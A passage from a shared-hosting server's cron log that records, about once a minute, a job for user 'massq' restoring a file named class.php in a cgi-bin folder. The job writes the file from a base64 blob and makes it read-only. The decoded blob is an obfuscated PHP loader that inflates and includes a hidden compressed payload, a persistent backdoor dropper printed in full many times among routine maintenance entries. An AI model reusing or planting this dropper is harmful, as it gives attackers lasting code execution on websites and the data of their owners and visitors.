"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 11:59:01 server CROND[26271]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 12:00:01 server CROND[26416]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 12:00:01 server CROND[26418]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/senddigests)
Apr 11 12:00:01 server CROND[26417]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Apr 11 12:00:01 server CROND[26420]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 12:00:01 server CROND[26419]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 12:00:01 server CROND[26421]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 12:01:01 server CROND[26551]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 12:01:01 server CROND[26552]: (root) CMD (run-parts /etc/cron.hourly)
Apr 11 12:01:01 server run-parts(/etc/cron.hourly)[26552]: starting 0anacron
Apr 11 12:01:01 server run-parts(/etc/cron.hourly)[26565]: finished 0anacron
Apr 11 12:02:01 server CROND[26614]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 12:03:01 server CROND[26664]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 12:04:01 server CROND[26801]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 12:05:01 server CROND[26968]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 12:05:01 server CROND[26969]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 12:05:01 server CROND[26970]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 12:05:01 server CROND[26971]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 12:06:01 server CROND[27091]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 12:06:01 server CROND[27091]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 12:07:01 server CROND[27132]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 12:08:01 server CROND[27193]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 12:09:01 server CROND[27249]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 11 12:09:01 server CROND[27250]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 12:10:01 server CROND[27311]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 12:10:01 server CROND[27313]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 12:10:01 server CROND[27314]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 12:10:01 server CROND[27315]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 